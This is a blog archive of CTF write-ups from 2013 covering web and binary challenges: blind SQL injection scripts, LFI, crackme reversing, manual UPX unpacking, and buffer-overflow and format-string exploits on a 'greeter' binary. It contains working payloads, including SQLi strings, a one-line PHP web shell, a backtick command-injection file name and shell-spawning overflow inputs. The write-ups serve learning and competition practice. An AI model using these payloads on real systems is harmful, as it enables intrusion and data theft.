Sunday, May 26, 2013

Secuinside CTF - Banking write-up

Unfortunately I only had a couple of hours to solve tasks in this year's Secuinside CTF. Banking was a web-based challenge for 300 points. Since the challenge isn't online any more I can't really take pictures and I have to write this from memory.


The application was imitating a bank. You could register an id and pass and transfer money to other account numbers. You could also list other accounts and the amount of money on them. After looking at the source I found out that all of the commands are executed through JavaScript. The script sent POST requests to a PHP page called cmd.php, which returned data in JSON format. There was also a WebSocket used to send/receive JSON data in some cases.

After looking around in the JavaScript file I found a function named listing. This function was used to get a list of the existing account numbers and the amount of money on them. There was an SQLi vulnerability in the second parameter.

I decided to write the exploit in JavaScript. There was a function named handleLoad which opened a WebSocket and added a handler to the onmessage event. I decided to rewrite this function so that the message is logged on the JS console. I created this new handleLoad2 function:
var handleLoad2 = function() {
    ws = new WebSocket("ws://");
    ws.onopen = function(){
        ws_ready = 1;
    ws.onclose = function(){ console.log("closed!"); }
    ws.onmessage = function(evt){ console.log(evt); }
This way I could see the listing function's result directly on the console. Then I made sure there is a vulnerability:
listing("balance", "desc");
This returned all of the accounts in a JSON object.
listing("balance", "desc limit 1,1");
This is where I knew there is a vulnerability

This only returned a single row. Neat, this is clearly vulnerable. All we have to do now is set up a query that blindly reads data from the database.

I created a JS function that reads a single letter from a selected table/schema/column name and finally from the flag itself. To achieve this I modified the handleLoad2 function too because here is where the responses come in from my queries. Here is an example query that I sent in the second parameter of the listing function. This one reads a character (with the index letter_id) from a table_schema value with a given index (limit_id).
var payload = "desc, (select t.table_schema from (select distinct table_schema from information_schema.tables limit " + limit_id + ",1) t where ord(substring(t.table_schema," + letter_id +",1))& " + x + "=" + x + " union all select 1) limit 1,1";
Then I read the table_schemas and found an interesting one called "flag_db". Inside this schema there was a single table called "flag_tbl" and this had a single column called "flag". Here is the final exploit that reads the flag character by character:

The flag was TheG0d0fGrabs_M4dL1F3.

Other web tasks

I also solved the "secure web" and "secure web revenge" tasks, but these were surprisingly easy. I uploaded a PHP shell and found a user named "dwh300". This user had a file named "flags" in its home folder which was readable and contained the key. The second version was the same except the home folder itself was not listable.

The last web challenge was "The Bank Robber". I found another blind SQLi vulnerability here but there wasn't enough time left to exploit it. The column name in a WHERE clause was injectable but spaces and commenting out the rest of the query were not allowed.

It was a nice CTF. I was in a 2 man team this time and we finished 46th. It's not too bad given that we only had a couple of hours to work on tasks.

Thursday, May 23, 2013

h34dump CTF write-ups

The h34dump CTF team from Novosibirsk hosted an awesome CTF today as a part of the PHDays conference. It was a school CTF with easier tasks. Let's see the solutions for some of the challenges.


Type: web
Points: 50
The task description is a link to a webpage. After opening the page this is what we see:

A simple page made with bootstrap that contains a login form. Trying some SQLi vectors doesn't help here. Then I started looking for hints and checked the cookies. And then it hit me. The task's name is 'food' and there is a picture of cookies. Of course.

There was a single cookie with the name 'is_super_admin' and its value was false. We can change this to true and after refreshing we find level 2. Another cookie appears with the name 'good_job!level2_calc_100500^2'. The task is quite obvious here so I pop up a python interpreter.
>>> 100500**2
I change the second cookie's value and the first task is solved.


Type: web
Points: 200
The task description is a link again and this is what the page looks like:

The url is
This looks like a classic LFI, but trying to load /etc/passwd doesn't work. The next thing I try to include is index.php.
Again this fails, but if we change the directory it will finally work.
After including the php file we see some php code on the screen, but to see it all we have to look into the source.

And the source contains an interesting line: 
static $black_list = array('flag_for_super_hacker.txt');
Looking at this text file gives us the flag:
k3y is l0c4l_c0d3_3x3cut10n_1s_f1n3
This task was a bit strange for me. Usually when php code is included via LFI the code is filtered out between the <?php and ?> tags.

All in all the web tasks were pretty easy, but since these tasks are intented for beginners I can understand this.


Type: binary
Points: 100 
Keyasker was the first binary challenge. It is still available online here. Unless they took it down already, feel free to try cracking it yourself before reading the solution. This is what the application looked like from the "outside".

Let's see it in IDA. We load the binary and start looking around. The first thing I did was to look at the strings window.

Looking at the xrefs showed me where the key is checked. After this I looked at the pseudocode (Options/Compiler... sizeof(bool) =  4). Here is the most important part:

sprintf(&v11, "%08x", v5);
if ( memcmp(&v11, &v10[8 * v8], 8u) )
    goto LABEL_17;
if ( *(_BYTE *)v2 ) {
    v1 = v2;
    goto LABEL_14;
return puts("Great! Now go and get your points!");

The above code runs after a part of the input is "hashed" using the "I'm related to flag" string as a sort-of salt (at least this is what I thought initially). v11 is the address for the hashed data and v10 points to the input. LABEL_17 prints "No :(" and exits, while LABEL_14 continues the "hashing". The code checks whether the first 8 bytes of the "hash" equals the key. If it does, it continues checking the next 8 bytes and so on.

The part that hashes the input was kind-of obfuscated and I was too lazy to fully understand what it does. This spared me a load of time because I started trying sample inputs rather than reverse engineering the hash function. Based on the code I knew that the key is 32 characters long. I set up a few breakpoints and entered a few input values. After a few values I realized that the "hash" is always the same and it doesn't even use the input, it comes purely from the string "I'm related to flag".

After discovering this the solution was easy. I entered a test value and looked at the first 8 bytes of the hash. I stopped debugging and entered a new value with the correct first 8 bytes. I did this until I got all of the 32 bytes correctly.

The flag was this key:


Type: binary
Points: 200
The task description contained ssh credentials to a machine. If you didn't participate in the CTF feel free to try solving the task before reading on, I guess the machine will be on for a few days.

This service just says hello to everyone! I hate it! Do something with it!
ssh -p22200
pass: user;
After logging in we see a text file, that possibly contains the flag, and an executable called greeter.

Naturally we don't have access to the flag.txt file. The greeter application is a simple program that asks for a name and echoes it back. The task description says "Do something with it" so it's pretty clear that this is where we should start. Let's load the binary in IDA.

Okay, this is a gaping hole, but hey, it's perfect for this sort-of introductory CTF. What we see here is a classic buffer overflow. The buffer's size is 0x100 and we read 0x140 characters, overwriting the return address. Let's exploit it. Using gdb we can check what happens when the buffer is overflowed.
gdb ./greeter
(gdb) disas main
(gdb) b *main+67 // breakpoint after fgets
(gdb) r
After this we enter a large input, let's say ~300 bytes. This is the input I used to be able to locate every byte:
The first 256 bytes won't matter since they will be inside the buffer. After the input we can start stepping in gdb (ni command) and see what happens. After 11 steps we get to the ret instruction and when the ret runs we get an error:

Cannot access memory at address 0x31305a5d
The program tried to return to the address 0x31305a5d.  Since the architecture is little-endian we have to reverse this to get: 0x5d5a3031. In ASCII this is "]Z01" which is almost what the input contained, except the first value (which was Y) was incremented by 4. This probably happened after the fgets call and before the return. Nothing to worry about, since we can always compensate.

We can control where we return from the main function and they even added a branch to the program that starts a shell for us. To enter this branch the 'a' variable's value has to be non-zero. But since we can jump anywhere, we can just jump to the start of the shell without changing 'a'-s value. Let's see where we have to jump.
(gdb) disas main
// Just the relevant part
0x080484e3 <main+83>: mov 0x8049740,%eax
0x080484e8 <main+88>: test %eax,%eax
0x080484ea <main+90>: je 0x8048508 <main+120>
0x080484ec <main+92>: movl $0x0,0x8(%esp)
(Note that this is AT&T syntax, so the source and destination are switched here)
We can see that the test occurs at 0x080484e8 and we want to jump (return) to 0x080484ec. Let's subtract 4 to compensate for the increase mentioned earlier. To test this I created an input with lots of 'a' characters and in place of the return address a special string that we will change from gdb (since we can't simply input non-ascii characters). This special string will be changed to the return address in gdb using the following command:

(gdb) set {int}(0xbfc33708) = 0x080484e8
(Where 0xbfc33708 is the location of our "special" string in the buffer). Let's see what happens now. This is where we end up after ret:
0xb765000a:     jno    0xb7650081
Weird. It looks like we jumped to a different address. After double-checking this address turned out to be the next value in the stack so we need to add the return address there. This is the final input:
(The new address doesn't need to be decreased by 4)
This is where I got stuck a bit. You can't enter the non-ASCII values in the program itself but you can use printf and echo the created string this way:
echo $(printf "aaaa...\xec\x84\x04\x08") | ./greeter
The only problem is that this way we won't be able to control the shell we have. I tried entering multiple lines so that the next line would be interpreted by the shell but it didn't work.

The solution is to store the input in a file and use cat to copy it to the standard input of the executable. cat handles the "-" file name in a special way - it means "stdin". This is how we can get a shell:

user@localhost:~$ echo $(printf "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xec\x84\x04\x08") > /tmp/dont_guess_this
    user@localhost:~$ cat /tmp/dont_guess_this - | ./greeter
    What is your name? (up to 256 chars)
    Hello, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaańõ
    flag.txt  greeter
    cat flag.txt

And we are done. Thanks to the CTF admins who taught me what the dash means when using the cat command.


Type: binary
Points: 300
The setup is the same here except the port is 22201. The greeter executable works the same as the previous one, but there must be a vulnerability somewhere. This is what we get after loading the binary in IDA:

int __cdecl main()
  char v1; // [sp+10h] [bp-110h]@1
  memset(&v1, 0, 0x100u);
  puts("What is your name? (up to 256 chars)");
  fgets(&v1, 256, stdin);
  printf("Hello, ");
  if ( a )
    execlp("/bin/sh", "/bin/sh", 0);
  return 0;

Another gaping hole, this time a format string vulnerability. Again, I believe these really obvious vulnerabilities are perfect for this kind of CTF. I'm not an expert and I had fun figuring out both the buffer overflow and the format string exploits.

Overwriting arbitrary memory is easier than jumping to an arbitrary location with a format string vulnerability, so this time we will try to overwrite the 'a' variable. Its location can be found with gdb.

(gdb) disas main
// Just the relevant part
0x080484e7 <main+87>:   mov    0x804973c,%eax
0x080484ec <main+92>:   test   %eax,%eax
0x080484ee <main+94>:   je     0x804850c <main+124>
0x080484f0 <main+96>:   movl   $0x0,0x8(%esp)
So the address is 0x804973c - it is loaded into %eax then tested. The value has to be non-null in order to enter the shell's branch (where execlp is).

The most powerful tool to exploit format string vulnerabilities is %n. This format string takes the first address on the stack (4 bytes), counts the amount of characters written so far and then writes this number to the address at the top of the stack. All we need to do is set the stack-pointer to the address of the 'a' variable then put %n to the end of the format string.

But how do we know that the stack has the correct value on the top? We can easily see what's on the stack using %x (or %08x for nicer output). Let's experiment a little.
user@localhost:~$ ./greeter
What is your name? (up to 256 chars)
AAAA %08x
Hello, AAAA 00000100
user@localhost:~$ ./greeter
What is your name? (up to 256 chars)
AAAA %08x %08x
Hello, AAAA 00000100 b76f3420
user@localhost:~$ ./greeter
What is your name? (up to 256 chars)
AAAA %08x %08x %08x
Hello, AAAA 00000100 b76fa420 b7721be0
user@localhost:~$ ./greeter
What is your name? (up to 256 chars)
AAAA %08x %08x %08x %08x
Hello, AAAA 00000100 b77a5420 b77ccbe0 41414141
Bingo. We now know where the input is in the stack. If this method doesn't give a result fast enough it could also be done in gdb. This is how the final input will look like (don't forget endianness):
Just like before we can't echo this to the stdin of greeter, we need to create a file again. Note that % symbols need to be escaped using %%.

user@localhost:~$ echo $(printf "\x3c\x97\x04\x08%%x%%x%%x%%n") > /tmp/dont_guess_this
user@localhost:~$ cat /tmp/dont_guess_this - | ./greeter
What is your name? (up to 256 chars)
Hello, 100b77c3420b77eabe0
flag.txt  greeter
cat flag.txt
And we got the flag!

This was a pretty good task-based CTF. I finished at the 5th place with my one-man team. The forensics and crypto challenges were interesting too. Thanks again to all of the h34dump team!

Sunday, May 12, 2013

BaltCTF - WEB200 "Gallery" write-up

BaltCTF is over and I decided to create a write-up for the second web-based task, because I think it was quite fun. The solution might be old news to more experienced people, but figuring it out on my own was exciting. Here goes.


The task was to hack this simple gallery application where users can upload pictures and view them. It was really obvious that there will be a file upload vulnerability, but I decided to check for SQLi, just in case. 

The uploader only accepted png and gif files that were smaller than 1 MB. The first thing that came to my mind was bypassing this and uploading something named shell.png.php. I tried for almost an hour, but nothing helped to bypass the extension limitation. I even tried to put SQLi into the filename, but that didn't work either.

After many tries I had a new idea that actually worked. I uploaded a file with a Unix command in its name surrounded by grave accents:
The uploaded picture's name contained the id of the picture followed by the output of the executed command. The only problem was that the file name was limited to 16 characters:
43-css img


After this I made a bad decision and took a little detour. I decided to write a "shell" that prompts me for commands, creates a file that has the command in its name, uploads the file, views the gallery, finds the picture's file name and prints it out for me. Here is the code in case anybody is interested.

The reason that this failed is that the file name could not contain such special characters as '|' or '>'. Then, after thinking about it for a few minutes I realized that there is a much simpler solution.


The simple solution is the following:
  • Upload a PHP shell with a png extension
  • Rename the file so it has a php extension
So I created a really basic shell in PHP:
<?php echo system($_GET['s']); ?>
I uploaded this as shell.png, and then uploaded another file:
´cd uploads;cd 6a9btoq20khkn8ln5lfhuo6v62;cp 65-shell.png shell.php´.png
This worked and I had a remote shell:

Using the shell I looked around and the file named "picture" contained a flag.

Thursday, May 9, 2013

ESET CrackMe! 2013 write-up

As this year's CONFidence is nearly here the guys at ESET created another CrackMe challenge. The first 5 people to solve it received a free ticket for the conference. Unfortunately I was not one of the first 5, but solving the challenge was fun regardless. This is the first time I participated, but I think this year's challenge was not as hard as the previous ones. I read some write-ups from last year and that one seemed much harder. If you are a beginner like me, you may want to try and solve it yourself before you read on.

Anyways, on with the solution.


Let's open the downloaded program and see what happens. When you start the application it displays a nice welcome message and it even has a help menu. I tried a random password just for kicks, but it didn't work. Oh, well.

Let's jump into things and open the application in IDA pro. This is what happens:

Okay, this might mean that the file was packed. And indeed the first instruction is pusha, which is suspicious. Better check what packer was used. Let's fire up PEiD.


UPX it is. Well let's try and unpack it in UPX itself, which has a nifty "-d" flag for this.

Close, but no cigar. We will have to do it by hand. 


I recently started attending a sort of University "club" about reverse engineering, which is awesome by the way, and our first homework was doing exactly this by hand. Here is a demo that demonstrates the solution. The trick is that most packers (including UPX) push all the registers onto the stack before the unpacking begins, and when the unpacking is done they pop all of the values back. By placing a hardware breakpoint on one of the pushed values, we can find when they are popped and dump the unpacked process. Another solution in IDA is looking at the graph view, scrolling to the bottom and finding a popa instruction that marks the end of the unpacking.

Since Ollydbg has a really nice OllyDump plugin, we will use that to manually unpack the CrackMe. After starting Olly we immediately find the pusha instruction. Then we press step over once and follow ESP in the dump, just like in the demo.

Then we can put a hardware breakpoint on the value and start execution.

The debugger immediately stops after the popa instruction. We are close now.

We can see a little loop that pushes 0 onto the stack until ESP reaches EAX. And after this is where the magic happens. We jump to 0x0040A97C which is the entry point of the unpacked process. We put a breakpoint on this jump and then step to the entry point. This is when we can use OllyDump. Sweet, but don't close Olly yet!


The dump won't start by itself. Just like in the demo, we need to rebuild the IAT and ImpREC (Import REConstructor) is a great tool for this. We start ImpREC and select the CrackMe process. It loads the process and displays the image base: 0x00400000. With this we can figure out the OEP value. The EIP that we jumped to in Olly was 0x0040A97C. Subtract the image base and we get an OEP (0xA97C). 

Then we can just follow the demo and click "Get Imports" and then "Fix Dump". At the end we should have a fixed dump that executes. We can finally start reversing things.


This time when we load the exe into IDA pro we don't get any warnings and we even have a nice Imports table. Let's look at the entry point first. What we see is a ton of mov instructions that move constants to seemingly random locations. At this point I was really hoping it is not a virtual machine. But looking at the data that is copied closely, we can see that they are mostly letters and spaces. We can press R to see the actual characters and voil√†:

Okay this is random. But looking at it again, the locations are random too and the stars are familiar from the welcome screen of the CrackMe. I really wanted to see the assembled memory in one place so I started debugging with a breakpoint at the end of this whole thing. Let's follow this in a hex window.

And this is it. There it is, in cleartext. Let's see if it really works, or it's just a prank. The password spells "BAZINGA!" after all.

It works !It's great, but to me this seemed a bit too easy. I was done with this in about 15 minutes. It's too bad that I only heard about the CrackMe 2 hours after it was tweeted. Anyway, kudos to my friend who did it a minute earlier than me.

For some reason I was convinced that this is just a decoy pasword and started reversing the application a bit more. Apparently it reads the password, then takes the MD5 hash of "BAZINGA!", then takes the MD5 hash of the entered password and compares them. There is a bit of protection when/before the hashing happens. The program checks for various processes and also starts a timer before the hashing. If the time difference is greater than a specified value after the hash is finished it puts the program into an infinite loop.

It's really strange that they put the cleartext password in there and later used MD5. Was this just for obfuscation? I don't know. Anyway, I had fun with this. Thanks to the guys at ESET for creating this CrackMe. I hope you enjoyed this short write-up. If you spot a mistake, please comment.

Saturday, May 4, 2013

BitcoinCTF - write-up of the first 3 levels

The BitcoinCTF started yesterday and just a couple of minutes ago somebody won, taking both of the BTCs  as a prize. I had fun with the first three levels - and was extremely frustrated with the 4th one - so I decided to make this write-up. I'm only an amateur enthusiast doing this as a hobby, so if you spot something that could have been done easier/better please feel free to comment.
Okay, on with the solutions.

Level 1

The first level presents us with a simple login form, which looks like this:

Naturally the first thing that comes to mind is SQL injection. Let's put a single quote in the username field and hope for an error. Nope, no luck. Maybe the errors are just turned off and something like ' or 1=1%23 could work. But it doesn't.

We should stop for a minute and try to guess the query. A good guess would be:

SELECT user, pass FROM users WHERE user = '$user' AND pass = '$pass'
But apparently the user and pass values must be filtered, since the single quote doesn't break the query. Is it magic_quotes that filters them, or a simple preg_replace that changes ' to \'

Let's try entering a backslash to the end of the user field. Yeah! It gives us an error. This is what happens to the query:
SELECT user, pass FROM users WHERE user = 'xxx\' AND PASS = 'zzz'
So the backslash at the end of the user value will escape the ending quote and the string that MySQL compares will last until the start of the pass value. The pass value will then be treated as code, so we found a way to inject SQL. The solution would be:

Level 2

Following the link to level 2 gives us this page. Note the url parameters.

It is quite clear that we should be able to inject into the orderby parameter. Unless of course this is just a decoy, but it turned out that it isn't. First let's do some basic tinkering. The ORDER BY clause accepts column indexes as a parameter:
?orderby=1&limit=10 -- this works 
?orderby=2&limit=10 -- this works 
?orderby=3&limit=10 -- this works too, WTF? 
?orderby=4&limit=10 -- doesn't work
Apparently there are 3 columns in the table that stores these bookmarks. That's strange, but the third column could simply be an identifier. Now let's see if we can inject arbitrary code to the ORDER BY clause. The simplest way to do this is the SLEEP() function.
This took roughly 3 seconds, we should be good! This is the point where I realized that it can only be done blindly. And we really don't want to do a time-based blind injection because that takes ages, so we have to come up with a query that either gives an error or displays the single bookmark based on its parameters. Then I tried something:
?orderby=(select 1)&limit=10 -- this works
?orderby=(select 1 union all select 1)&limit=10 -- fails
This is nothing surprising - ORDER BY accepts one value, you can't pass more rows. You also can't do (SELECT 1,2) but that won't really help us here. So we need to form a query that returns 1 row if it fails and it returns 2 rows if it doesn't. Returning 0 rows wouldn't result in an error.

What do we want to read from the database? We have no idea at this point. We have to read the schema names, table names and column names to find intersting tables/columns. Fortunately the information_schema contains all of this information in the "tables" and "columns" tables.

We need to form queries to do this blindly and write a script to inject automatically, since we don't want to do it by hand, that would take forever. This was my thought process (omitting the ?orderby= and limit paramters here for readability):
(select table_name from information_schema.tables)
This fails because it retuns many table names
(select table_name from information_schema.tables limit 1)
This works, and returns the first table, but how do we add a WHERE clause that enables us to check a table with an index of our choosing? We need to put this in a subquery and do something like this:
(select 1 from (select table_name from information_schema.tables limit 1) a)
The 'a' is there because we need to name the table that the subquery creates at runtime. And now we can add a WHERE clause and blindly check each letter of the first table.
(select 1 from (select table_name from information_schema.tables limit 1) a where substring(a.table_name, 1, 1) = 'A')
Even though we can be 99% positive that this begins with 'C' (Collations is usually the first table of inofrmation_schema), no matter what letter we check, the query never fails. Of course, I wrote earlier that the ORDER BY clause can take a subquery that returns 0 or 1 rows. And we always return 0 or 1 rows. Let's fix this by returning 1 or 2 rows. That's easy, just union a new row and we are done.
(select 1 from (select table_name from information_schema.tables limit 1) a where substring(a.table_name, 1, 1) = 'A' union all select 1)
After trying a few letters it is clear that it only fails on 'C', thus we were right and we have a way to dump the database now. Let's write a script that does this for us, because it's a tedious amount of work by hand. Before we write a script, let's think about how this could be done with even less queries. Figuring out a letter (provided that we know the table name only contains letters, and this should never be expected, especially when reading other data) would take 26 queries. Why don't we do a kind of "binary search"? That would take 8 queries and we could read any character. To do this, we use the bitwise AND operator to check each bit of a character.
(select 1 from (select table_name from information_schema.tables limit 1) a where char(substring(a.table_name, 1, 1)) & 1 = 1 union all select 1)
Then we can check x&2=2, x&4=4, etc.

For the injecting script I used python with the requests module, which is one of my favourite python modules. (Never tell that on a first date though, just TMI dude). The script is quite straightforward, you can find the source code here:

The code is a bit chaotic and has unused features that I didn't care to delete, but it works.

Running this for table_name tells us a few table names. The first 40 tables are internal and not of much interest right now. The last table is called urls. That's what we need. Then we can form a query for column_names, which you can find in the script that I linked. The column names turned out to be:

  • url
  • addedby
  • deleted
Hmm... that deleted field looks promising. Is there a deleted bookmark that we need to read? Yes, it turns out. After running the same script for the urls table's url field we get the deleted url:
And we just solved level 2.

Level 3 

I won't go into much detail here. It looks really similar to level 2.

Well there are 3 bookmarks this time. Let's try the same thing we did in the last level. It gives us an error, so there is probably some filtering going on. Is it injectable at all?
Hell yes. But when we try this, we get an error:
?orderby=(select 1)&limit=10
This is suspicious. After some more tinkering I found out that spaces are definitely filtered here. Oh, that's not too bad. But then there is one little problem. You simply can't (at least I couldn't) form a LIMIT clause without a space. MySQL seems to be pretty strict on that compared to how liberal it is with other syntax. We need to lose the LIMIT clause. But how can we limit our query to just a single table? Otherwise we couldn't blindly inject.

Well at this point it's easy. We can guess that the table schema is the same, but even if we want to make sure we only need to check the last table. All of the information_schema table names begin with capital letters. Let's filter these out by using
Here is the whole script by the way (again it is a bit chaotic):

Another thing we can check is the number of deleted bookmarks. Using the same method it turns out to be one. Finally, here is the space-less query that blindly reads the url of the deleted bookmark:
(select(addedby)from(urls)where((deleted=2)and(ord( substring(addedby,1,1))&1=1))union(select(1)))
Running this returns the solution for the third level:

Level 4 

This is where I (and many others according to Reddit/Twitter) got stuck. The clue was a name parameter. Where should we put this parameter? It turns out that the main page ( is the target for this. When you check the source you get this comment at the top:
<!-- I imagine that right now you are feeling a bit like Alice tumbling down the rabbit hole... -->
And it turns out that the "name" parameter controls the value of "Alice" (when it's not empty, that is). The first thing that comes to mind is XSS, but what can you do with a reflected XSS on a site that doesn't even use sessions? Nada. The second thing that came to my mind was something that I considered an "ancient" technique, and never thought that I would need it. SSI. Of course I don't have much experience, but is SSI used by any site in 2013?

We can use the following commands:
<!--#echo var="..."-->
<!--#include file="..."--> 
These give us some important info about the server, but sadly #exec is somehow disabled. One thing that might be important is the SCRIPT_FILENAME variable. Its value is "/var/www/html/index.shtml". 

I also tried including other files, even index.shtml itself, but it didn't help. Then I started trying the weirdest things until I was completely out of ideas. This is where I got stuck.

I'm really interested in the solution here, looking forward to a proper write-up!